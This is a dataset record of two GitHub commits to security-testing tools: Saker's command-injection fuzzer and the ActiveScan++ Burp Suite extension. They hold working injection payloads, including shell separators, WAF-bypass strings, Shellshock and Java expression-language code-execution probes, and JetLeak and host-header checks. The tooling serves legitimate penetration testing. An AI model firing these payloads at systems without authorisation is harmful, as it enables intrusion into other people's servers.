{"https://github.com/LyleMi/Saker": {"4a7915860cc482cb426cbf371ae785bfbae71881": {"url": "https://api.github.com/repos/LyleMi/Saker/commits/4a7915860cc482cb426cbf371ae785bfbae71881", "html_url": "https://github.com/LyleMi/Saker/commit/4a7915860cc482cb426cbf371ae785bfbae71881", "sha": "4a7915860cc482cb426cbf371ae785bfbae71881", "keyword": "command injection update", "diff": "diff --git a/saker/fuzzers/cmdi.py b/saker/fuzzers/cmdi.py\nindex 2eb1005..25cc343 100644\n--- a/saker/fuzzers/cmdi.py\n+++ b/saker/fuzzers/cmdi.py\n@@ -8,23 +8,44 @@ class CmdInjection(Fuzzer):\n \n \"\"\"CmdInjection\"\"\"\n \n+ splits = [\n+ ' ',\n+ '\\t',\n+ '\\x0b',\n+ ';',\n+ '\\n',\n+ '\\r',\n+ '\\r\\n',\n+ '|',\n+ '||',\n+ '&',\n+ '&&',\n+ '#',\n+ '\\x00',\n+ '::',\n+ '$IFS$9',\n+ # http://seclists.org/fulldisclosure/2016/Nov/67\n+ '\\x1a',\n+ ]\n+\n def __init__(self):\n super(CmdInjection, self).__init__()\n \n- @staticmethod\n- def test(self):\n+ @classmethod\n+ def test(cls, cmd=\"id\"):\n return [\n- \"|id\",\n- \"=cmd|'cmd'!''\",\n- \";id\",\n- \"\\n\\rid\",\n- \"`id`\",\n- \"${id}\",\n- \"\\x00`id`\",\n+ \"|%s\" % cmd,\n+ \"=%s|'%s'!''\" % (cmd, cmd),\n+ \";%s\" % cmd,\n+ \"\\n%s\" % cmd,\n+ \"`%s`\" % cmd,\n+ \"$(%s)\" % cmd,\n+ \"${%s}\" % cmd,\n+ \"\\x00`%s`\" % cmd,\n ]\n \n- @staticmethod\n- def wafbypass(self):\n+ @classmethod\n+ def wafbypass(cls):\n return [\n \"i\\\\d\",\n \"i''d\",\n", "message": "", "files": {"/saker/fuzzers/cmdi.py": {"changes": [{"diff": "\n \n \"\"\"CmdInjection\"\"\"\n \n+ splits = [\n+ ' ',\n+ '\\t',\n+ '\\x0b',\n+ ';',\n+ '\\n',\n+ '\\r',\n+ '\\r\\n',\n+ '|',\n+ '||',\n+ '&',\n+ '&&',\n+ '#',\n+ '\\x00',\n+ '::',\n+ '$IFS$9',\n+ # http://seclists.org/fulldisclosure/2016/Nov/67\n+ '\\x1a',\n+ ]\n+\n def __init__(self):\n super(CmdInjection, self).__init__()\n \n- @staticmethod\n- def test(self):\n+ @classmethod\n+ def test(cls, cmd=\"id\"):\n return [\n- \"|id\",\n- \"=cmd|'cmd'!''\",\n- \";id\",\n- \"\\n\\rid\",\n- \"`id`\",\n- \"${id}\",\n- \"\\x00`id`\",\n+ \"|%s\" % cmd,\n+ \"=%s|'%s'!''\" % (cmd, cmd),\n+ \";%s\" % cmd,\n+ \"\\n%s\" % cmd,\n+ \"`%s`\" % cmd,\n+ \"$(%s)\" % cmd,\n+ \"${%s}\" % cmd,\n+ \"\\x00`%s`\" % cmd,\n ]\n \n- @staticmethod\n- def wafbypass(self):\n+ @classmethod\n+ def wafbypass(cls):\n return [\n \"i\\\\d\",\n \"i''d\",\n", "add": 32, "remove": 11, "filename": "/saker/fuzzers/cmdi.py", "badparts": [" @staticmethod", " def test(self):", " \"|id\",", " \"=cmd|'cmd'!''\",", " \";id\",", " \"\\n\\rid\",", " \"`id`\",", " \"${id}\",", " \"\\x00`id`\",", " @staticmethod", " def wafbypass(self):"], "goodparts": [" splits = [", " ' ',", " '\\t',", " '\\x0b',", " ';',", " '\\n',", " '\\r',", " '\\r\\n',", " '|',", " '||',", " '&',", " '&&',", " '\\x00',", " '::',", " '$IFS$9',", " '\\x1a',", " ]", " @classmethod", " def test(cls, cmd=\"id\"):", " \"|%s\" % cmd,", " \"=%s|'%s'!''\" % (cmd, cmd),", " \";%s\" % cmd,", " \"\\n%s\" % cmd,", " \"`%s`\" % cmd,", " \"$(%s)\" % cmd,", " \"${%s}\" % cmd,", " \"\\x00`%s`\" % cmd,", " @classmethod", " def wafbypass(cls):"]}], "source": "\n from saker.fuzzers.fuzzer import Fuzzer class CmdInjection(Fuzzer): \"\"\"CmdInjection\"\"\" def __init__(self): super(CmdInjection, self).__init__() @staticmethod def test(self): return[ \"|id\", \"=cmd|'cmd'!''\", \";id\", \"\\n\\rid\", \"`id`\", \"${id}\", \"\\x00`id`\", ] @staticmethod def wafbypass(self): return[ \"i\\\\d\", \"i''d\", \"/u??/bin/id\", \"a=i;b=d;$a$b\", ] ", "sourceWithComments": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom saker.fuzzers.fuzzer import Fuzzer\n\n\nclass CmdInjection(Fuzzer):\n\n \"\"\"CmdInjection\"\"\"\n\n def __init__(self):\n super(CmdInjection, self).__init__()\n\n @staticmethod\n def test(self):\n return [\n \"|id\",\n \"=cmd|'cmd'!''\",\n \";id\",\n \"\\n\\rid\",\n \"`id`\",\n \"${id}\",\n \"\\x00`id`\",\n ]\n\n @staticmethod\n def wafbypass(self):\n return [\n \"i\\\\d\",\n \"i''d\",\n \"/u??/bin/id\",\n \"a=i;b=d;$a$b\",\n ]\n"}}, "msg": "update: command injection payload"}}, "https://github.com/albinowax/ActiveScanPlusPlus": {"0b6a04db6eb2f90acaec5970dcca4bd283e6e74b": {"url": "https://api.github.com/repos/albinowax/ActiveScanPlusPlus/commits/0b6a04db6eb2f90acaec5970dcca4bd283e6e74b", "html_url": "https://github.com/albinowax/ActiveScanPlusPlus/commit/0b6a04db6eb2f90acaec5970dcca4bd283e6e74b", "sha": "0b6a04db6eb2f90acaec5970dcca4bd283e6e74b", "keyword": "command injection improve", "diff": "diff --git a/activeScan++.py b/activeScan++.py\nindex 31a97ca..4362c29 100644\n--- a/activeScan++.py\n+++ b/activeScan++.py\n@@ -27,7 +27,7 @@\n print \"Failed to load dependencies. This issue may be caused by using the unstable Jython 2.7 beta.\"\n \n \n-version = \"1.0.9\"\n+version = \"1.0.10\"\n callbacks = None\n \n \n@@ -53,6 +53,8 @@ def registerExtenderCallbacks(self, this_callbacks):\n \n return\n \n+# Detect CVE-2015-2080\n+# Technique based on https://github.com/GDSSecurity/Jetleak-Testing-Script/blob/master/jetleak_tester.py\n class JetLeak(IScannerCheck):\n def __init__(self, callbacks):\n self._helpers = callbacks.getHelpers()\n@@ -61,11 +63,11 @@ def doActiveScan(self, basePair, insertionPoint):\n if 'Referer' != insertionPoint.getInsertionPointName():\n return None\n attack = callbacks.makeHttpRequest(basePair.getHttpService(), insertionPoint.buildRequest(\"\\x00\"))\n- resp_start = self._helpers.bytesToString(attack.getResponse())[:30]\n- if '400 Illegal character 0x0 in state' in resp_start:\n+ resp_start = self._helpers.bytesToString(attack.getResponse())[:90]\n+ if '400 Illegal character 0x0 in state' in resp_start and '<<<' in resp_start:\n return [CustomScanIssue(attack.getHttpService(), self._helpers.analyzeRequest(attack).getUrl(), [attack], 'CVE-2015-2080 (JetLeak)',\n- \"The application appears to be running a version of Jetty vulnerable to CVE-2015-2080, which allows attackers to read out private server memory.
\"\n- \"Refer to http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html for further information.\", 'Firm', 'High')]\n+ \"The application appears to be running a version of Jetty vulnerable to CVE-2015-2080, which allows attackers to read out private server memory
\"\n+ \"Please refer to http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html for further information\", 'Firm', 'High')]\n return None\n \n # This extends the active scanner with a number of timing-based code execution checks\n@@ -80,10 +82,10 @@ def __init__(self, callbacks):\n self._payloads = {\n # Exploits shell command injection into '$input' on linux and \"$input\" on windows:\n # and CVE-2014-6271, CVE-2014-6278\n- 'any': ['\"&timeout $time&\\'`sleep $time`\\'', '() { :;}; /bin/sleep $time', '() { _; } >_[$$($$())] { /bin/sleep $time; }'],\n+ 'any': ['\"&ping -n $time localhost&\\'`sleep $time`\\'', '() { :;}; /bin/sleep $time', '() { _; } >_[$$($$())] { /bin/sleep $time; }'],\n 'php': [],\n 'perl': [],\n- 'ruby': [],\n+ 'ruby': ['|timeout $time&sleep $time'],\n # Expression language injection\n 'java': [\n '$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{\"timeout\",\"$time\"})).start()).getInputStream()))).readLine()}$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{\"sleep\",\"$time\"})).start()).getInputStream()))).readLine()}'],\n@@ -128,15 +130,16 @@ def doActiveScan(self, basePair, insertionPoint):\n for payload in payloads:\n if (baseTime == 0):\n baseTime = self._attack(basePair, insertionPoint, payload, 0)[0]\n- if (self._attack(basePair, insertionPoint, payload, 10)[0] > baseTime + 6):\n+ if (self._attack(basePair, insertionPoint, payload, 11)[0] > baseTime + 6):\n print \"Suspicious delay detected. Confirming it's consistent...\"\n (dummyTime, dummyAttack) = self._attack(basePair, insertionPoint, payload, 0)\n if (dummyTime < baseTime + 4):\n- (timer, attack) = self._attack(basePair, insertionPoint, payload, 10)\n+ (timer, attack) = self._attack(basePair, insertionPoint, payload, 11)\n if (timer > dummyTime + 6):\n print \"Code execution confirmed\"\n url = self._helpers.analyzeRequest(attack).getUrl()\n if (url in self._done):\n+ print \"Skipping report - vulnerability already reported\"\n break\n self._done.append(url)\n return [CustomScanIssue(attack.getHttpService(), url, [dummyAttack, attack], 'Code injection',\n@@ -147,7 +150,12 @@ def doActiveScan(self, basePair, insertionPoint):\n return None\n \n def _getLangs(self, basePair):\n- ext = self._helpers.analyzeRequest(basePair).getUrl().getPath().split('.')[-1]\n+ path = self._helpers.analyzeRequest(basePair).getUrl().getPath()\n+ if '.' in path:\n+ ext = path.split('.')[-1]\n+ else:\n+ ext = ''\n+\n if (ext in self._extensionMappings):\n code = self._extensionMappings[ext]\n else:\n", "message": "", "files": {"/activeScan++.py": {"changes": [{"diff": "\n print \"Failed to load dependencies. This issue may be caused by using the unstable Jython 2.7 beta.\"\n \n \n-version = \"1.0.9\"\n+version = \"1.0.10\"\n callbacks = None\n \n \n", "add": 1, "remove": 1, "filename": "/activeScan++.py", "badparts": ["version = \"1.0.9\""], "goodparts": ["version = \"1.0.10\""]}, {"diff": "\n if 'Referer' != insertionPoint.getInsertionPointName():\n return None\n attack = callbacks.makeHttpRequest(basePair.getHttpService(), insertionPoint.buildRequest(\"\\x00\"))\n- resp_start = self._helpers.bytesToString(attack.getResponse())[:30]\n- if '400 Illegal character 0x0 in state' in resp_start:\n+ resp_start = self._helpers.bytesToString(attack.getResponse())[:90]\n+ if '400 Illegal character 0x0 in state' in resp_start and '<<<' in resp_start:\n return [CustomScanIssue(attack.getHttpService(), self._helpers.analyzeRequest(attack).getUrl(), [attack], 'CVE-2015-2080 (JetLeak)',\n- \"The application appears to be running a version of Jetty vulnerable to CVE-2015-2080, which allows attackers to read out private server memory.
\"\n- \"Refer to http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html for further information.\", 'Firm', 'High')]\n+ \"The application appears to be running a version of Jetty vulnerable to CVE-2015-2080, which allows attackers to read out private server memory
\"\n+ \"Please refer to http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html for further information\", 'Firm', 'High')]\n return None\n \n # This extends the active scanner with a number of timing-based code execution checks\n", "add": 4, "remove": 4, "filename": "/activeScan++.py", "badparts": [" resp_start = self._helpers.bytesToString(attack.getResponse())[:30]", " if '400 Illegal character 0x0 in state' in resp_start:", " \"The application appears to be running a version of Jetty vulnerable to CVE-2015-2080, which allows attackers to read out private server memory.
\"", " \"Refer to http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html for further information.\", 'Firm', 'High')]"], "goodparts": [" resp_start = self._helpers.bytesToString(attack.getResponse())[:90]", " if '400 Illegal character 0x0 in state' in resp_start and '<<<' in resp_start:", " \"The application appears to be running a version of Jetty vulnerable to CVE-2015-2080, which allows attackers to read out private server memory
\"", " \"Please refer to http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html for further information\", 'Firm', 'High')]"]}, {"diff": "\n self._payloads = {\n # Exploits shell command injection into '$input' on linux and \"$input\" on windows:\n # and CVE-2014-6271, CVE-2014-6278\n- 'any': ['\"&timeout $time&\\'`sleep $time`\\'', '() { :;}; /bin/sleep $time', '() { _; } >_[$$($$())] { /bin/sleep $time; }'],\n+ 'any': ['\"&ping -n $time localhost&\\'`sleep $time`\\'', '() { :;}; /bin/sleep $time', '() { _; } >_[$$($$())] { /bin/sleep $time; }'],\n 'php': [],\n 'perl': [],\n- 'ruby': [],\n+ 'ruby': ['|timeout $time&sleep $time'],\n # Expression language injection\n 'java': [\n '$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{\"timeout\",\"$time\"})).start()).getInputStream()))).readLine()}$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{\"sleep\",\"$time\"})).start()).getInputStream()))).readLine()}'],\n", "add": 2, "remove": 2, "filename": "/activeScan++.py", "badparts": [" 'any': ['\"&timeout $time&\\'`sleep $time`\\'', '() { :;}; /bin/sleep $time', '() { _; } >_[$$($$())] { /bin/sleep $time; }'],", " 'ruby': [],"], "goodparts": [" 'any': ['\"&ping -n $time localhost&\\'`sleep $time`\\'', '() { :;}; /bin/sleep $time', '() { _; } >_[$$($$())] { /bin/sleep $time; }'],", " 'ruby': ['|timeout $time&sleep $time'],"]}, {"diff": "\n for payload in payloads:\n if (baseTime == 0):\n baseTime = self._attack(basePair, insertionPoint, payload, 0)[0]\n- if (self._attack(basePair, insertionPoint, payload, 10)[0] > baseTime + 6):\n+ if (self._attack(basePair, insertionPoint, payload, 11)[0] > baseTime + 6):\n print \"Suspicious delay detected. Confirming it's consistent...\"\n (dummyTime, dummyAttack) = self._attack(basePair, insertionPoint, payload, 0)\n if (dummyTime < baseTime + 4):\n- (timer, attack) = self._attack(basePair, insertionPoint, payload, 10)\n+ (timer, attack) = self._attack(basePair, insertionPoint, payload, 11)\n if (timer > dummyTime + 6):\n print \"Code execution confirmed\"\n url = self._helpers.analyzeRequest(attack).getUrl()\n if (url in self._done):\n+ print \"Skipping report - vulnerability already reported\"\n break\n self._done.append(url)\n return [CustomScanIssue(attack.getHttpService(), url, [dummyAttack, attack], 'Code injection',\n", "add": 3, "remove": 2, "filename": "/activeScan++.py", "badparts": [" if (self._attack(basePair, insertionPoint, payload, 10)[0] > baseTime + 6):", " (timer, attack) = self._attack(basePair, insertionPoint, payload, 10)"], "goodparts": [" if (self._attack(basePair, insertionPoint, payload, 11)[0] > baseTime + 6):", " (timer, attack) = self._attack(basePair, insertionPoint, payload, 11)", " print \"Skipping report - vulnerability already reported\""]}, {"diff": "\n return None\n \n def _getLangs(self, basePair):\n- ext = self._helpers.analyzeRequest(basePair).getUrl().getPath().split('.')[-1]\n+ path = self._helpers.analyzeRequest(basePair).getUrl().getPath()\n+ if '.' in path:\n+ ext = path.split('.')[-1]\n+ else:\n+ ext = ''\n+\n if (ext in self._extensionMappings):\n code = self._extensionMappings[ext]\n else:\n", "add": 6, "remove": 1, "filename": "/activeScan++.py", "badparts": [" ext = self._helpers.analyzeRequest(basePair).getUrl().getPath().split('.')[-1]"], "goodparts": [" path = self._helpers.analyzeRequest(basePair).getUrl().getPath()", " if '.' in path:", " ext = path.split('.')[-1]", " else:", " ext = ''"]}], "source": "\n try: import pickle import random import re import string import time from string import Template from cgi import escape from burp import IBurpExtender, IScannerInsertionPointProvider, IScannerInsertionPoint, IParameter, IScannerCheck, IScanIssue import jarray except ImportError: print \"Failed to load dependencies. This issue may be caused by using the unstable Jython 2.7 beta.\" version=\"1.0.9\" callbacks=None class BurpExtender(IBurpExtender): def registerExtenderCallbacks(self, this_callbacks): global callbacks callbacks=this_callbacks callbacks.setExtensionName(\"activeScan++\") host=HostAttack(callbacks) callbacks.registerScannerInsertionPointProvider(host) callbacks.registerScannerCheck(host) callbacks.registerScannerCheck(CodeExec(callbacks)) callbacks.registerScannerCheck(JetLeak(callbacks)) print \"Successfully loaded activeScan++v\" +version return class JetLeak(IScannerCheck): def __init__(self, callbacks): self._helpers=callbacks.getHelpers() def doActiveScan(self, basePair, insertionPoint): if 'Referer' !=insertionPoint.getInsertionPointName(): return None attack=callbacks.makeHttpRequest(basePair.getHttpService(), insertionPoint.buildRequest(\"\\x00\")) resp_start=self._helpers.bytesToString(attack.getResponse())[:30] if '400 Illegal character 0x0 in state' in resp_start: return[CustomScanIssue(attack.getHttpService(), self._helpers.analyzeRequest(attack).getUrl(),[attack], 'CVE-2015-2080(JetLeak)', \"The application appears to be running a version of Jetty vulnerable to CVE-2015-2080, which allows attackers to read out private server memory.
\" \"Refer to http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html for further information.\", 'Firm', 'High')] return None class CodeExec(IScannerCheck): def __init__(self, callbacks): self._helpers=callbacks.getHelpers() self._done=getIssues('Code injection') self._payloads={ 'any':['\"&timeout $time&\\'`sleep $time`\\'', '(){:;}; /bin/sleep $time', '(){ _;} >_[$$($$())]{ /bin/sleep $time;}'], 'php':[], 'perl':[], 'ruby':[], 'java':[ '$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{\"timeout\",\"$time\"})).start()).getInputStream()))).readLine()}$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{\"sleep\",\"$time\"})).start()).getInputStream()))).readLine()}'], } self._extensionMappings={ 'php5': 'php', 'php4': 'php', 'php3': 'php', 'php': 'php', 'pl': 'perl', 'cgi': 'perl', 'jsp': 'java', 'do': 'java', 'action': 'java', 'rb': 'ruby', '':['php', 'ruby', 'java'], 'unrecognised': 'java', 'asp': 'any', 'aspx': 'any', } def doActiveScan(self, basePair, insertionPoint): if(insertionPoint.getInsertionPointName()==\"hosthacker\"): return None payloads=set() languages=self._getLangs(basePair) for lang in languages: new_payloads=self._payloads[lang] payloads |=set(new_payloads) payloads.update(self._payloads['any']) baseTime=0 for payload in payloads: if(baseTime==0): baseTime=self._attack(basePair, insertionPoint, payload, 0)[0] if(self._attack(basePair, insertionPoint, payload, 10)[0] > baseTime +6): print \"Suspicious delay detected. Confirming it's consistent...\" (dummyTime, dummyAttack)=self._attack(basePair, insertionPoint, payload, 0) if(dummyTime < baseTime +4): (timer, attack)=self._attack(basePair, insertionPoint, payload, 10) if(timer > dummyTime +6): print \"Code execution confirmed\" url=self._helpers.analyzeRequest(attack).getUrl() if(url in self._done): break self._done.append(url) return[CustomScanIssue(attack.getHttpService(), url,[dummyAttack, attack], 'Code injection', \"The application appears to evaluate user input as code.

It was instructed to sleep for 0 seconds, and a response time of \" +str( dummyTime) +\" seconds was observed.
It was then instructed to sleep for 10 seconds, which resulted in a response time of \" +str( timer) +\" seconds\", 'Firm', 'High')] return None def _getLangs(self, basePair): ext=self._helpers.analyzeRequest(basePair).getUrl().getPath().split('.')[-1] if(ext in self._extensionMappings): code=self._extensionMappings[ext] else: code=self._extensionMappings['unrecognised'] if(isinstance(code, basestring)): code=[code] return code def _attack(self, basePair, insertionPoint, payload, sleeptime): payload=Template(payload).substitute(time=sleeptime) timer=time.time() attack=callbacks.makeHttpRequest(basePair.getHttpService(), insertionPoint.buildRequest(payload)) timer=time.time() -timer print \"Response time: \" +str(round(timer, 2)) +\"| Payload: \" +payload requestHighlights=insertionPoint.getPayloadOffsets(payload) if(not isinstance(requestHighlights, list)): requestHighlights=[requestHighlights] attack=callbacks.applyMarkers(attack, requestHighlights, None) return(timer, attack) class HostAttack(IScannerInsertionPointProvider, IScannerCheck): def __init__(self, callbacks): self._helpers=callbacks.getHelpers() self._referer=''.join(random.choice(string.ascii_lowercase +string.digits) for x in range(6)) try: self._rebind=map(lambda i: i.getAuthority(), getIssues('Arbitrary host header accepted')) except Exception: print \"Initialisation callback failed. This extension requires burp suite professional and Jython 2.5.\" self._poison=getIssues('Host header poisoning') def getInsertionPoints(self, basePair): rawHeaders=self._helpers.analyzeRequest(basePair.getRequest()).getHeaders() headers=dict((header.split(': ')[0].upper(), header.split(': ', 1)[1]) for header in rawHeaders[1:]) if('HOST' not in headers.keys()): return None response=self._helpers.bytesToString(basePair.getResponse()) if(headers['HOST'] not in response): print \"Skipping host header attacks on this request as the host isn't reflected\" return None return[HostInsertionPoint(self._helpers, basePair, headers)] def doActiveScan(self, basePair, insertionPoint): if(insertionPoint.getInsertionPointName() !=\"hosthacker\"): return None url=self._helpers.analyzeRequest(basePair).getUrl() host=url.getAuthority() if(host in self._rebind and url in self._poison): return None legit=insertionPoint.getBaseValue() (attack, resp)=self._attack(basePair, insertionPoint,{'host': legit}, legit) baseprint=tagmap(resp) taint=''.join(random.choice(string.ascii_lowercase +string.digits) for x in range(6)) taint +='.' +legit issues=[] (attack, resp)=self._attack(basePair, insertionPoint,{'host': taint}, taint) if(hit(resp, baseprint)): if(baseprint !='' and host not in self._rebind): issues.append(self._raise(basePair, attack, host, 'dns')) if(taint in resp and url not in self._poison and self._referer not in resp): issues.append(self._raise(basePair, attack, host, 'host')) return issues else: (attack, resp)=self._attack(basePair, insertionPoint,{'abshost': legit, 'host': taint}, taint) if(hit(resp, baseprint) and taint in resp and url not in self._poison and self._referer not in resp): issues.append(self._raise(basePair, attack, host, 'abs')) (attack, resp)=self._attack(basePair, insertionPoint,{'host': legit, 'xfh': taint}, taint) if(hit(resp, baseprint) and taint in resp and url not in self._poison and self._referer not in resp): issues.append(self._raise(basePair, attack, host, 'xfh')) return issues def _raise(self, basePair, attack, host, type): service=attack.getHttpService() url=self._helpers.analyzeRequest(attack).getUrl() if(type=='dns'): title='Arbitrary host header accepted' sev='Low' conf='Certain' desc=\"\"\"The application appears to be accessible using arbitrary HTTP Host headers.

This is a serious issue if the application is not externally accessible or uses IP-based access restrictions. Attackers can use DNS Rebinding to bypass any IP or firewall based access restrictions that may be in place, by proxying through their target's browser.
Note that modern web browsers' use of DNS pinning does not effectively prevent this attack. The only effective mitigation is server-side: https://bugzilla.mozilla.org/show_bug.cgi?id=689835 Additionally, it may be possible to directly bypass poorly implemented access restrictions by sending a Host header of 'localhost'\"\"\" self._rebind.append(host) else: title='Host header poisoning' sev='Medium' conf='Tentative' desc=\"\"\"The application appears to trust the user-supplied host header. By supplying a malicious host header with a password reset request, it may be possible to generate a poisoned password reset link. Consider testing the host header for classic server-side injection vulnerabilities.

Depending on the configuration of the server and any intervening caching devices, it may also be possible to use this for cache poisoning attacks.

Resources:

\"\"\" self._poison.append(url) issue=CustomScanIssue(service, url,[basePair, attack], title, desc, conf, sev) return issue def _attack(self, basePair, insertionPoint, payloads, taint): proto=self._helpers.analyzeRequest(basePair).getUrl().getProtocol() +'://' if('abshost' in payloads): payloads['abshost']=proto +payloads['abshost'] payloads['referer']=proto +taint +'/' +self._referer print \"Host attack: \" +str(payloads) attack=callbacks.makeHttpRequest(basePair.getHttpService(), insertionPoint.buildRequest('hosthacker' +pickle.dumps(payloads))) response=self._helpers.bytesToString(attack.getResponse()) requestHighlights=[jarray.array([m.start(), m.end()], 'i') for m in re.finditer('(' +'|'.join(payloads.values()) +')', self._helpers.bytesToString(attack.getRequest()))] responseHighlights=[jarray.array([m.start(), m.end()], 'i') for m in re.finditer(taint, response)] attack=callbacks.applyMarkers(attack, requestHighlights, responseHighlights) return(attack, response) class HostInsertionPoint(IScannerInsertionPoint): def __init__(self, helpers, basePair, rawHeaders): self._helpers=helpers self._baseHost=rawHeaders['HOST'] request=self._helpers.bytesToString(basePair.getRequest()) request=request.replace('$', '\\$') request=request.replace('/', '$abshost/', 1) if('?' in request[0:request.index('\\n')]): request=re.sub('(?i)([a-z]+[^]+)', r'\\1&cachebust=${cachebust}', request, 1) else: request=re.sub('(?i)([a-z]+[^]+)', r'\\1?cachebust=${cachebust}', request, 1) request=re.sub('(?im)^Host:[a-zA-Z0-9-_.:]*', 'Host: ${host}${xfh}', request, 1) if('REFERER' in rawHeaders): request=re.sub('(?im)^Referer: http[s]?://[a-zA-Z0-9-_.:]*', 'Referer: ${referer}', request, 1) if('CACHE-CONTROL' in rawHeaders): request=re.sub('(?im)^Cache-Control:[^\\r\\n]+', 'Cache-Control: no-cache', request, 1) else: request=request.replace('Host: ${host}${xfh}', 'Host: ${host}${xfh}\\r\\nCache-Control: no-cache', 1) self._requestTemplate=Template(request) return None def getInsertionPointName(self): return \"hosthacker\" def getBaseValue(self): return self._baseHost def buildRequest(self, payload): payload=self._helpers.bytesToString(payload) if(payload[:10] !='hosthacker'): return None payloads=pickle.loads(payload[10:]) if 'xfh' in payloads: payloads['xfh']=\"\\r\\nX-Forwarded-Host: \" +payloads['xfh'] for key in('xfh', 'abshost', 'host', 'referer'): if key not in payloads: payloads[key]='' payloads['cachebust']=time.time() request=self._requestTemplate.substitute(payloads) return self._helpers.stringToBytes(request) def getPayloadOffsets(self, payload): return None def getInsertionPointType(self): return INS_EXTENSION_PROVIDED class CustomScanIssue(IScanIssue): def __init__(self, httpService, url, httpMessages, name, detail, confidence, severity): self.HttpService=httpService self.Url=url self.HttpMessages=httpMessages self.Name=name self.Detail=detail +'

This issue was reported by ActiveScan++
' self.Severity=severity self.Confidence=confidence print \"Reported: \" +name +\" on \" +str(url) return def getUrl(self): return self.Url def getIssueName(self): return self.Name def getIssueType(self): return 0 def getSeverity(self): return self.Severity def getConfidence(self): return self.Confidence def getIssueBackground(self): return None def getRemediationBackground(self): return None def getIssueDetail(self): return self.Detail def getRemediationDetail(self): return None def getHttpMessages(self): return self.HttpMessages def getHttpService(self): return self.HttpService def location(url): return url.getProtocol() +\"://\" +url.getAuthority() +url.getPath() def htmllist(list): list=[\"
  • \" +item +\"
    • \" for item in list] return \"\" def tagmap(resp): tags=''.join(re.findall(\"(?im)(<[a-z]+)\", resp)) return tags def hit(resp, baseprint): return(baseprint==tagmap(resp)) def issuesMatch(existingIssue, newIssue): if(existingIssue.getUrl()==newIssue.getUrl() and existingIssue.getIssueName()==newIssue.getIssueName()): return -1 else: return 0 def getIssues(name): prev_reported=filter(lambda i: i.getIssueName()==name, callbacks.getScanIssues('')) return(map(lambda i: i.getUrl(), prev_reported)) ", "sourceWithComments": "# Author: James Kettle \n# Copyright 2014 Context Information Security up to 1.0.5\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\ntry:\n import pickle\n import random\n import re\n import string\n import time\n from string import Template\n from cgi import escape\n\n from burp import IBurpExtender, IScannerInsertionPointProvider, IScannerInsertionPoint, IParameter, IScannerCheck, IScanIssue\n import jarray\nexcept ImportError:\n print \"Failed to load dependencies. This issue may be caused by using the unstable Jython 2.7 beta.\"\n\n\nversion = \"1.0.9\"\ncallbacks = None\n\n\nclass BurpExtender(IBurpExtender):\n def registerExtenderCallbacks(self, this_callbacks):\n global callbacks\n callbacks = this_callbacks\n\n callbacks.setExtensionName(\"activeScan++\")\n\n # Register host attack components\n host = HostAttack(callbacks)\n callbacks.registerScannerInsertionPointProvider(host)\n callbacks.registerScannerCheck(host)\n\n # Register code exec component\n callbacks.registerScannerCheck(CodeExec(callbacks))\n\n\n callbacks.registerScannerCheck(JetLeak(callbacks))\n\n print \"Successfully loaded activeScan++ v\" + version\n\n return\n\nclass JetLeak(IScannerCheck):\n def __init__(self, callbacks):\n self._helpers = callbacks.getHelpers()\n\n def doActiveScan(self, basePair, insertionPoint):\n if 'Referer' != insertionPoint.getInsertionPointName():\n return None\n attack = callbacks.makeHttpRequest(basePair.getHttpService(), insertionPoint.buildRequest(\"\\x00\"))\n resp_start = self._helpers.bytesToString(attack.getResponse())[:30]\n if '400 Illegal character 0x0 in state' in resp_start:\n return [CustomScanIssue(attack.getHttpService(), self._helpers.analyzeRequest(attack).getUrl(), [attack], 'CVE-2015-2080 (JetLeak)',\n \"The application appears to be running a version of Jetty vulnerable to CVE-2015-2080, which allows attackers to read out private server memory.
    \"\n \"Refer to http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html for further information.\", 'Firm', 'High')]\n return None\n\n# This extends the active scanner with a number of timing-based code execution checks\n# _payloads contains the payloads, designed to delay the response by $time seconds\n# _extensionMappings defines which payloads get called on which file extensions\nclass CodeExec(IScannerCheck):\n def __init__(self, callbacks):\n self._helpers = callbacks.getHelpers()\n\n self._done = getIssues('Code injection')\n\n self._payloads = {\n # Exploits shell command injection into '$input' on linux and \"$input\" on windows:\n # and CVE-2014-6271, CVE-2014-6278\n 'any': ['\"&timeout $time&\\'`sleep $time`\\'', '() { :;}; /bin/sleep $time', '() { _; } >_[$$($$())] { /bin/sleep $time; }'],\n 'php': [],\n 'perl': [],\n 'ruby': [],\n # Expression language injection\n 'java': [\n '$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{\"timeout\",\"$time\"})).start()).getInputStream()))).readLine()}$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{\"sleep\",\"$time\"})).start()).getInputStream()))).readLine()}'],\n }\n\n # Used to ensure only appropriate payloads are 